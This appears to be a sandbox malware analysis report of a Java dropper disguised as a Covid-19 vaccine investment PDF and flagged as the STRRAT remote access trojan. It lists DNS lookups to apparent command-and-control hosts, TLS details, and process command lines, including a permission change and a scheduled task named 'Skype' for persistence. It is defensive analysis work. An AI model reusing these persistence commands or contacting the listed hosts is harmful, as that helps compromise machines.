Feb 23, 2021 21:04:22.646025896 CET	192.168.2.3	8.8.8.8	0x1573	Standard query (0)	repo1.maven.org	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:22.646184921 CET	192.168.2.3	8.8.8.8	0x94c2	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:23.130125046 CET	192.168.2.3	8.8.8.8	0x439e	Standard query (0)	github-releases.githubusercontent.com	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:42.782876015 CET	192.168.2.3	8.8.8.8	0x2f6e	Standard query (0)	str-master.pw	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:50.739006996 CET	192.168.2.3	8.8.8.8	0xba98	Standard query (0)	jbfrost.live	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:50.993541956 CET	192.168.2.3	8.8.8.8	0xd94a	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:51.840692043 CET	192.168.2.3	8.8.8.8	0x67af	Standard query (0)	str-master.pw	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:52.228467941 CET	192.168.2.3	8.8.8.8	0x75b5	Standard query (0)	pluginserver.duckdns.org	A (IP address)	IN (0x0001)
Feb 23, 2021 21:05:04.293481112 CET	192.168.2.3	8.8.8.8	0xbd0	Standard query (0)	strizzz100.duckdns.org	A (IP address)	IN (0x0001)
Feb 23, 2021 21:05:59.069261074 CET	192.168.2.3	8.8.8.8	0x5536	Standard query (0)	strizzz100.duckdns.org	A (IP address)	IN (0x0001)
Feb 23, 2021 21:05:59.311817884 CET	192.168.2.3	8.8.8.8	0x3a23	Standard query (0)	pluginserver.duckdns.org	A (IP address)	IN (0x0001)
Feb 23, 2021 21:06:35.015863895 CET	192.168.2.3	8.8.8.8	0xd395	Standard query (0)	pluginserver.duckdns.org	A (IP address)	IN (0x0001)
Feb 23, 2021 21:06:51.716965914 CET	192.168.2.3	8.8.8.8	0x9a7e	Standard query (0)	strizzz100.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 23, 2021 21:04:22.706168890 CET	8.8.8.8	192.168.2.3	0x1573	No error (0)	repo1.maven.org	sonatype.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Feb 23, 2021 21:04:22.706168890 CET	8.8.8.8	192.168.2.3	0x1573	No error (0)	sonatype.map.fastly.net		199.232.192.209	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:22.706168890 CET	8.8.8.8	192.168.2.3	0x1573	No error (0)	sonatype.map.fastly.net		199.232.196.209	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:22.710860014 CET	8.8.8.8	192.168.2.3	0x94c2	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:23.188406944 CET	8.8.8.8	192.168.2.3	0x439e	No error (0)	github-releases.githubusercontent.com		185.199.108.154	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:23.188406944 CET	8.8.8.8	192.168.2.3	0x439e	No error (0)	github-releases.githubusercontent.com		185.199.109.154	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:23.188406944 CET	8.8.8.8	192.168.2.3	0x439e	No error (0)	github-releases.githubusercontent.com		185.199.110.154	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:23.188406944 CET	8.8.8.8	192.168.2.3	0x439e	No error (0)	github-releases.githubusercontent.com		185.199.111.154	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:50.826561928 CET	8.8.8.8	192.168.2.3	0xba98	Server failure (2)	jbfrost.live	none	none	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:51.047672987 CET	8.8.8.8	192.168.2.3	0xd94a	No error (0)	pastebin.com		104.23.99.190	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:51.047672987 CET	8.8.8.8	192.168.2.3	0xd94a	No error (0)	pastebin.com		104.23.98.190	A (IP address)	IN (0x0001)
Feb 23, 2021 21:04:52.462094069 CET	8.8.8.8	192.168.2.3	0x75b5	No error (0)	pluginserver.duckdns.org		23.239.31.129	A (IP address)	IN (0x0001)
Feb 23, 2021 21:05:04.521935940 CET	8.8.8.8	192.168.2.3	0xbd0	No error (0)	strizzz100.duckdns.org		107.175.144.243	A (IP address)	IN (0x0001)
Feb 23, 2021 21:05:59.302706003 CET	8.8.8.8	192.168.2.3	0x5536	No error (0)	strizzz100.duckdns.org		107.175.144.243	A (IP address)	IN (0x0001)
Feb 23, 2021 21:05:59.535707951 CET	8.8.8.8	192.168.2.3	0x3a23	No error (0)	pluginserver.duckdns.org		23.239.31.129	A (IP address)	IN (0x0001)
Feb 23, 2021 21:06:35.237154007 CET	8.8.8.8	192.168.2.3	0xd395	No error (0)	pluginserver.duckdns.org		23.239.31.129	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 23, 2021 21:04:22.865737915 CET	140.82.121.3	443	192.168.2.3	49721	CN=github.com, O="GitHub, Inc.", L=San Francisco, ST=California, C=US CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue May 05 02:00:00 CEST 2020 Tue Oct 22 14:00:00 CEST 2013	Tue May 10 14:00:00 CEST 2022 Sun Oct 22 14:00:00 CEST 2028	771,49188-49192-61-49190-49194-107-106-49162-49172-53-49157-49167-57-56-49187-49191-60-49189-49193-103-64-49161-49171-47-49156-49166-51-50-49196-49195-49200-157-49198-49202-159-163-49199-156-49197-49201-158-162-255,10-11-13-23-0,23-24-25-9-10-11-12-13-14-22,0	d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:22.865737915 CET	140.82.121.3	443	192.168.2.3	49721	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028		d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:22.868626118 CET	199.232.192.209	443	192.168.2.3	49719	CN=repo1.maven.org, O="Sonatype, Inc", L=Fulton, ST=Maryland, C=US CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Aug 17 02:00:00 CEST 2020 Fri Mar 08 13:00:00 CET 2013	Wed Sep 08 14:00:00 CEST 2021 Wed Mar 08 13:00:00 CET 2023	771,49188-49192-61-49190-49194-107-106-49162-49172-53-49157-49167-57-56-49187-49191-60-49189-49193-103-64-49161-49171-47-49156-49166-51-50-49196-49195-49200-157-49198-49202-159-163-49199-156-49197-49201-158-162-255,10-11-13-23-0,23-24-25-9-10-11-12-13-14-22,0	d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:22.868626118 CET	199.232.192.209	443	192.168.2.3	49719	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:22.868731022 CET	199.232.192.209	443	192.168.2.3	49720	CN=repo1.maven.org, O="Sonatype, Inc", L=Fulton, ST=Maryland, C=US CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Aug 17 02:00:00 CEST 2020 Fri Mar 08 13:00:00 CET 2013	Wed Sep 08 14:00:00 CEST 2021 Wed Mar 08 13:00:00 CET 2023	771,49188-49192-61-49190-49194-107-106-49162-49172-53-49157-49167-57-56-49187-49191-60-49189-49193-103-64-49161-49171-47-49156-49166-51-50-49196-49195-49200-157-49198-49202-159-163-49199-156-49197-49201-158-162-255,10-11-13-23-0,23-24-25-9-10-11-12-13-14-22,0	d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:22.868731022 CET	199.232.192.209	443	192.168.2.3	49720	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:22.868848085 CET	199.232.192.209	443	192.168.2.3	49718	CN=repo1.maven.org, O="Sonatype, Inc", L=Fulton, ST=Maryland, C=US CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Aug 17 02:00:00 CEST 2020 Fri Mar 08 13:00:00 CET 2013	Wed Sep 08 14:00:00 CEST 2021 Wed Mar 08 13:00:00 CET 2023	771,49188-49192-61-49190-49194-107-106-49162-49172-53-49157-49167-57-56-49187-49191-60-49189-49193-103-64-49161-49171-47-49156-49166-51-50-49196-49195-49200-157-49198-49202-159-163-49199-156-49197-49201-158-162-255,10-11-13-23-0,23-24-25-9-10-11-12-13-14-22,0	d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:22.868848085 CET	199.232.192.209	443	192.168.2.3	49718	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:23.355176926 CET	185.199.108.154	443	192.168.2.3	49722	CN=www.github.com, O="GitHub, Inc.", L=San Francisco, ST=California, C=US CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed May 06 02:00:00 CEST 2020 Tue Oct 22 14:00:00 CEST 2013	Thu Apr 14 14:00:00 CEST 2022 Sun Oct 22 14:00:00 CEST 2028	771,49188-49192-61-49190-49194-107-106-49162-49172-53-49157-49167-57-56-49187-49191-60-49189-49193-103-64-49161-49171-47-49156-49166-51-50-49196-49195-49200-157-49198-49202-159-163-49199-156-49197-49201-158-162-255,10-11-13-23-0,23-24-25-9-10-11-12-13-14-22,0	d2935c58fe676744fecc8614ee5356c7
Feb 23, 2021 21:04:23.355176926 CET	185.199.108.154	443	192.168.2.3	49722	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028		d2935c58fe676744fecc8614ee5356c7

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: cmd.exe PID: 4952 Parent PID: 5664

General

Start time:	21:04:10
Start date:	23/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar'
Imagebase:	0x7ff77d8b0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: 7za.exe PID: 384 Parent PID: 4952

General

Start time:	21:04:11
Start date:	23/02/2021
Path:	C:\Windows\System32\7za.exe
Wow64 process (32bit):	true
Commandline:	7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar'
Imagebase:	0xb40000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000002.00000003.200309664.0000000002C90000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	high

Analysis Process: cmd.exe PID: 4120 Parent PID: 5664

General

Start time:	21:04:11
Start date:	23/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl >> C:\cmdlinestart.log 2>&1
Imagebase:	0x7ff77d8b0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5708 Parent PID: 4120

General

Start time:	21:04:12
Start date:	23/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: java.exe PID: 5544 Parent PID: 4120

General

Start time:	21:04:12
Start date:	23/02/2021
Path:	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe
Wow64 process (32bit):	true
Commandline:	java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl
Imagebase:	0xf0000
File size:	192376 bytes
MD5 hash:	28733BA8C383E865338638DF5196E6FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Java
Yara matches:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000006.00000002.207844794.0000000014D78000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	moderate

Analysis Process: icacls.exe PID: 5980 Parent PID: 5544

General

Start time:	21:04:13
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M
Imagebase:	0xa80000
File size:	29696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 384 Parent PID: 5980

General

Start time:	21:04:13
Start date:	23/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: wscript.exe PID: 5712 Parent PID: 5544

General

Start time:	21:04:13
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	wscript C:\Users\user\fukvowbkrs.js
Imagebase:	0x1340000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: javaw.exe PID: 3164 Parent PID: 5712

General

Start time:	21:04:19
Start date:	23/02/2021
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Imagebase:	0x940000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 0000000B.00000002.238594494.0000000009FA0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 0000000B.00000002.238481797.0000000009F6E000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: java.exe PID: 720 Parent PID: 3164

General

Start time:	21:04:26
Start date:	23/02/2021
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\vmlpusjwhz.txt'
Imagebase:	0xf0000
File size:	192376 bytes
MD5 hash:	28733BA8C383E865338638DF5196E6FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 0000000D.00000002.253231810.000000000A5A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 0000000D.00000002.252958465.0000000005427000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 0000000D.00000002.252569519.00000000051C5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 0000000D.00000002.253164708.000000000A56E000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: conhost.exe PID: 5988 Parent PID: 720

General

Start time:	21:04:28
Start date:	23/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 5848 Parent PID: 720

General

Start time:	21:04:34
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: java.exe PID: 4952 Parent PID: 720

General

Start time:	21:04:34
Start date:	23/02/2021
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Imagebase:	0xf0000
File size:	192376 bytes
MD5 hash:	28733BA8C383E865338638DF5196E6FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 00000010.00000002.519763899.0000000004ECD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000010.00000002.520726996.0000000009F9E000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000010.00000002.520453366.0000000009F6C000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: conhost.exe PID: 3096 Parent PID: 5848

General

Start time:	21:04:34
Start date:	23/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exe PID: 4904 Parent PID: 4952

General

Start time:	21:04:35
Start date:	23/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: schtasks.exe PID: 5312 Parent PID: 5848

General

Start time:	21:04:35
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Imagebase:	0x7ff7ca4e0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: notepad.exe PID: 2596 Parent PID: 528

General

Start time:	21:04:36
Start date:	23/02/2021
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\NOTEPAD.EXE C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Imagebase:	0x7ff7977d0000
File size:	245760 bytes
MD5 hash:	BB9A06B8F2DD9D24C77F389D7B2B58D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: java.exe PID: 6284 Parent PID: 4952

General

Start time:	21:04:40
Start date:	23/02/2021
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp
Imagebase:	0xf0000
File size:	192376 bytes
MD5 hash:	28733BA8C383E865338638DF5196E6FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 00000018.00000002.521334832.000000000A810000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 00000018.00000002.517833863.000000000543D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000018.00000002.520047801.000000000A56A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000018.00000002.520214796.000000000A5A2000.00000004.00000001.sdmp, Author: Joe Security

Analysis Process: conhost.exe PID: 6364 Parent PID: 6284

General

Start time:	21:04:42
Start date:	23/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: notepad.exe PID: 6576 Parent PID: 3388

General

Start time:	21:04:46
Start date:	23/02/2021
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Imagebase:	0x7ff7977d0000
File size:	245760 bytes
MD5 hash:	BB9A06B8F2DD9D24C77F389D7B2B58D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: notepad.exe PID: 7136 Parent PID: 3388

General

Start time:	21:04:55
Start date:	23/02/2021
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Imagebase:	0x7ff7977d0000
File size:	245760 bytes
MD5 hash:	BB9A06B8F2DD9D24C77F389D7B2B58D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: javaw.exe PID: 4880 Parent PID: 3388

General

Start time:	21:05:03
Start date:	23/02/2021
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp
Imagebase:	0xd60000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000024.00000002.317682510.0000000004E1D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000024.00000002.317809866.0000000004E65000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000024.00000002.317648149.0000000004E10000.00000004.00000001.sdmp, Author: Joe Security

Analysis Process: notepad.exe PID: 6504 Parent PID: 3388

General

Start time:	21:05:11
Start date:	23/02/2021
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Imagebase:	0x7ff7977d0000
File size:	245760 bytes
MD5 hash:	BB9A06B8F2DD9D24C77F389D7B2B58D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: javaw.exe PID: 6568 Parent PID: 3388

General

Start time:	21:05:20
Start date:	23/02/2021
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp
Imagebase:	0xd60000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000027.00000002.352640886.000000000461D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000027.00000002.352612506.0000000004610000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000027.00000002.352788509.0000000004665000.00000004.00000001.sdmp, Author: Joe Security

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

